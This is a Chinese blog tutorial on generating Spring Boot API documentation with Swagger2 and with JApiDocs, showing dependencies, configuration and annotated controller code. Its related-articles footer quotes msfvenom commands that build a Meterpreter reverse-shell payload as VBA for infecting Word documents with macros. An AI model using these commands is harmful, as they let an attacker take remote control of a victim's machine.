首页 > 其他分享 > 【Spring-boot-route(五)整合Swagger生成接口文档+(六)整合JApiDocs生成接口文档】

【Spring-boot-route(五)整合Swagger生成接口文档+(六)整合JApiDocs生成接口文档】

时间:2023-02-09 11:31:44浏览次数:41  
标签:return name int 用户 接口 生成 文档

目前,大多数公司都采用了前后端分离的开发模式,为了解决前后端人员的沟通问题,后端人员在开发接口的时候会选择使用swagger2来生成对应的接口文档,swagger2提供了强大的页面调试功能,这样可以有效解决前后端人员沟通难的问题。

下面我们使用SpringBoot结合swagger2生成Restful API文档。


一 搭建项目,引入依赖

新建一个​​spring-boot-swaager​​的项目,引入swaager2的依赖,由于swagger2的ui不是很美观,这里将使用开源的​​swagger-bootstrap-ui​​做为ui。

引入依赖

<!-- swaager2依赖 -->    
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger2</artifactId>
<version>2.9.2</version>
</dependency>
<!-- swaager2ui -->
<dependency>
<groupId>com.github.xiaoymin</groupId>
<artifactId>swagger-bootstrap-ui</artifactId>
<version>1.9.6</version>
</dependency>

项目中配置swagger相关信息

@Configuration
@EnableSwagger2
public class configuration {

@Bean
public Docket createRestApi(){
return new Docket(DocumentationType.SWAGGER_2)
.apiInfo(apiInfo())
.select()
.apis(RequestHandlerSelectors.basePackage("com.javatrip.swagger.controller"))
.paths(PathSelectors.any())
.build();
}

private ApiInfo apiInfo(){
return new ApiInfoBuilder()
// 标题
.title("某某项目接口文档")
// 描述
.description("swagger2接口文档使用演示")
// 版本
.version("1.0")
// 许可证
.license("MIT")
// 许可证地址
.licenseUrl("www.xx.com")
// 服务端地址
.termsOfServiceUrl("https://www.cnblogs.com/zhixie/")
// 联系信息
.contact(new Contact("java旅途","https://www.cnblogs.com/zhixie/","[email protected]"))
.build();
}
}

访问路径,查看生成效果

文章中使用的这个ui,接口文档地址为​​ip:port/doc.html​​,生成的文档信息如下:

 【Spring-boot-route(五)整合Swagger生成接口文档+(六)整合JApiDocs生成接口文档】_接口文档

二 编写Restful接口

新建实体类


@ApiModel("用户实体类")
@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person {
@ApiModelProperty("姓名")
private String name;
@ApiModelProperty(value = "年龄")
private int age;
}

新建Restful接口

@Api(tags = "用户接口")
@RestController
@RequestMapping("person")
public class PersonController {

@ApiOperation(value = "获取用户列表",notes = "根据name获取用户列表")
@ApiImplicitParams({
@ApiImplicitParam(name = "name",value = "用户姓名",dataType = "String",required = true),
@ApiImplicitParam(name = "age",value = "年龄",dataType = "int",required = true)
})
@GetMapping("/{name}")
public Person getPerson(@PathVariable("name") String name,@RequestParam int age){
return new Person(name,age);
}

@ApiOperation(value = "新增用户",notes = "根据用户实体类新增用户")
@ApiImplicitParam(name = "person",value = "用户实体类",dataType = "Person",required = true)
@PostMapping("add")
public int addPerson(@RequestBody Person person){
if(StringUtils.isEmpty(person)){
return -1;
}
return 1;
}

@ApiOperation(value = "更新用户信息",notes = "根据用户实体更新用户信息")
@ApiImplicitParam(name = "person",value = "用户实体类",dataType = "Person",required = true)
@PutMapping("update")
public int updatePerson(@RequestBody Person person){
if(StringUtils.isEmpty(person)){
return -1;
}
return 1;
}

@ApiOperation(value = "删除用户信息",notes = "根据用户名删除用户信息")
@ApiImplicitParam(name = "name",value = "用户姓名",dataType = "String",required = true)
@DeleteMapping("/{name}")
public int deletePerson(@PathVariable(name = "name") String name){
if(StringUtils.isEmpty(name)){
return -1;
}
return 1;
}
}

三 swagger文档简介

我就直接用图来表示了,这样看着也更加直观

 【Spring-boot-route(五)整合Swagger生成接口文档+(六)整合JApiDocs生成接口文档】_User_02

 【Spring-boot-route(五)整合Swagger生成接口文档+(六)整合JApiDocs生成接口文档】_实体类_03

swagger2注解对应到文档上的表现形式如上。swagger2支持在线调试,打开某个具体的接口,根据提示填写对应的参数,点击发送就可返回响应结果。


 【Spring-boot-route(五)整合Swagger生成接口文档+(六)整合JApiDocs生成接口文档】_User_04

此是spring-boot-route系列的第五篇文章,这个系列的文章都比较简单,主要目的就是为了帮助初次接触Spring Boot 的同学有一个系统的认识。


》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》

接下来讲解:

【spring-boot-route(六)整合JApiDocs生成接口文档】

上一篇文章中介绍了使用Swagger生成接口文档,非常方便,功能也十分强大。如果非要说Swaager有什么缺点,想必就是注解写起来比较麻烦。如果我说有一款不用写注解,就可以生成文档的工具,你心动了吗?他就是我们今天的主角——JApiDocs。

下面我们一起来看看如何使用!

一、添加依赖


<dependency>
<groupId>io.github.yedaxia</groupId>
<artifactId>japidocs</artifactId>
<version>1.3</version>
</dependency>

二、配置生成参数

我们新建一个项目,然后随便写一个main方法,增加生成文档的配置,然后运行main方法。


DocsConfig config = new DocsConfig();
config.setProjectPath("F:\\Java旅途\\japi-docs"); // 项目根目录
config.setProjectName("japi-docs"); // 项目名称
config.setApiVersion("V1.0"); // 声明该API的版本
config.setDocsPath("F:\\test"); // 生成API 文档所在目录
config.setAutoGenerate(Boolean.TRUE); // 配置自动生成
Docs.buildHtmlDocs(config); // 执行生成文档

三、编码规范

由于JApiDocs是通过解析Java源码来实现的,因此如果要想实现想要的文档,还是需要遵循一定的规范。

3.1 类注释、方法注释和属性注释

如果我们想生成类的注释,我们可以直接在类上加注释,也可以通过加@description来生成。


/**
* 用户接口类
*/
@RequestMapping("/api/user")
@RestController
public class UserController {}

/**
* @author Java旅途
* @Description 用户接口类
* @Date 2020-06-15 21:46
*/
@RequestMapping("/api/user")
@RestController
public class UserController {}

如果我们想生成方法的注释,只能直接加注释,不能通过加@description来生成。


/**
* 查询用户
* @param age 年龄
* @return R<User>
*/
@GetMapping("/list")
public R<User> list(@RequestParam int age){

User user = new User("Java旅途", 18);
return R.ok(user);
}

JApiDocs可以自动生成实体类,关于实体类属性的注释有三种方式,生成的效果都是一样的,如下:


/**
* 用户名称
*/
private String name;
/**
* 用户年龄
*/
private int age;


// 用户名称
private String name;
// 用户年龄
private int age;


private String name;// 用户名称
private int age;// 用户年龄

他除了支持咱们常用的model外,还支持IOS的model生成效果如下:

 【Spring-boot-route(五)整合Swagger生成接口文档+(六)整合JApiDocs生成接口文档】_实体类_05


 【Spring-boot-route(五)整合Swagger生成接口文档+(六)整合JApiDocs生成接口文档】_接口文档_06


3.2 请求参数

如果提交的表单是 ​​application/x-www-form-urlencoded​​ 类型的​​key/value​​格式,则我们通过@param注解来获取参数,在参数后面添加注释,示例如下:


/**
* @param age 年龄
*/
@GetMapping("/list")
public R<User> list(@RequestParam int age){
User user = new User("Java旅途", 18);
return R.ok(user);
}

生成的文档效果如下:

请求参数

参数名

类型

必须

描述

age

int


年龄

如果提交的表单是 ​​application/json​​ 类型的​​json​​数据格式,如下:


/**
* @param user
* @return
*/
@PostMapping("/add")
public R<User> add(@RequestBody User user){
return R.ok(user);
}

生成的文档效果如下:

请求参数


{
"name": "string //用户名称",
"age": "int //用户年龄"
}

3.3 响应结果

我们知道,如果​​Controller​​声明了​​@RestController​​,SpringBoot会把返回的对象直接序列成Json数据格式返回给前端。 JApiDocs也利用了这一特性来解析接口返回的结果,但由于JApiDocs是静态解析源码的,因此你要明确指出返回对象的类型信息,JApiDocs支持继承、泛型、循环嵌套等复杂的类解析。

因此我们不需要再写注释,它会根据我们的返回结果进行解析,效果如下:

返回结果:


{
"code": "int",
"msg": "string",
"data": {
"name": "string //用户名称",
"age": "int //用户年龄"
}
}

最终,我们生成的接口文档,如下:

 【Spring-boot-route(五)整合Swagger生成接口文档+(六)整合JApiDocs生成接口文档】_接口文档_07


四、高级配置

4.1 @ApiDoc

如果你不希望把所有的接口都导出,我们可以在配置中设置config.setAutoGenerate(Boolean.FALSE);然后再想要生成的接口上添加@ApiDoc。

@ApiDoc有以下三个属性:

  • result: 这个可以直接声明返回的对象类型,如果你声明了,将会覆盖SpringBoot的返回对象
  • url: 请求URL,扩展字段,用于支持非SpringBoot项目
  • method: 请求方法,扩展字段,用于支持非SpringBoot项目


@ApiDoc(result = User.class, url = "/api/user/view", method = "post")

4.2 @Ignore

如果你不想导出对象里面的某个字段,可以给这个字段加上​​@Ignore​​注解,这样JApiDocs导出文档的时候就会自动忽略掉了。


public class User {
@Ignore
private int age;
}

五、总结

JApiDocs就介绍到这里了,优势劣势大家很容易就看出来了。几乎不需要注释即可生成接口文档,仅有的几个注释我们也可以通过ide来自动生成。但是JApiDocs不具备Swagger在线调试功能。如果有一天JApiDocs支持在线调试后,那时候肯定会有一大波追随者,毕竟写代码的谁喜欢写多余的注解!


标签:return,name,int,用户,接口,生成,文档
From: https://blog.51cto.com/u_15874356/6046481

相关文章

  • 利用宏感染 word 文档(基于MSF)
    1.生成我们的VBA代码msfvenom-ax86--platformwindows-pwindows/meterpreter/reverse_tcpLHOST=192.168.59.134LPORT=4444-ex86/shikata_ga_nai-i10-fvb......
  • 利用宏感染Word文档(基于MSF)
    1.生成我们的vba代码msfvenom-ax86--platformwindows-pwindows/meterpreter/reverse_tcpLHOST=IPLPORT=4444-ex86/shikata_ga_nai-i10-fvba-exe执行完成后......
  • 基于Docker使用CTB生成地形切片并加载
    1.引言CTB(CesiumTerrainBuilder)是一个用于地形切片的C++编写的命令行工具GitHub地址为:GitHub-geo-data/cesium-terrain-builder:AC++libraryandassociatedcom......
  • 基于APIView写接口
    一、视图层代码"""基于APIView实现接口的编写用的是同一个模型表路由也没变这次做了解耦合写了序列化类与视图类分开了"""fromrest_framework.viewsimportAPI......
  • 开源工具文档库
    nginx:​​http://nginx.org/en/docs/beginners_guide.html​​​openresty: ​​https://github.com/openresty/lua-nginx-module​​openresty最佳实践: ​​https:/......
  • JavaSE4️⃣OOP - 抽象类 & 接口
    1、面向抽象编程含义:引用抽象类型,避免引用具体类型。上层定义规范。不同子类实现具体业务逻辑。调用者只需关心接口定义,无需考虑具体实现。实现方式抽象类接......
  • 接口(interface)
    接口是一种类型接口用来处理什么问题?比如一个网上上传可能使用支付宝,微信,银联等方式去在线支付,我们能不能吧它们当成“支付方式”来处理呢?比如三角形,四边形,圆形都能计算......
  • 静态网站与动态网站的区别 & 静态网站生成工具
    1、静态网站与动态网站静态网站是什么?技术上来讲,静态网站是指网页不是由服务器动态生成的。HTML、CSS和JavaScript文件就静静地躺在服务器的某个路径下,它们的内容与终端......
  • 【PAT顶】1001 Battle Over Cities - Hard Version (35 分) Kruskal求最小生成树
    problem1001BattleOverCities-HardVersion(35分)Itisvitallyimportanttohaveallthecitiesconnectedbyhighwaysinawar.Ifacityisconqueredbyt......
  • 关于接口测试的总结与思考
    引言为什么要做接口自动化测试?在当前互联网产品迭代频繁的背景下,回归测试的时间越来越少,很难在每个迭代都对所有功能做完整回归。但接口自动化测试因其实现简单、维护成......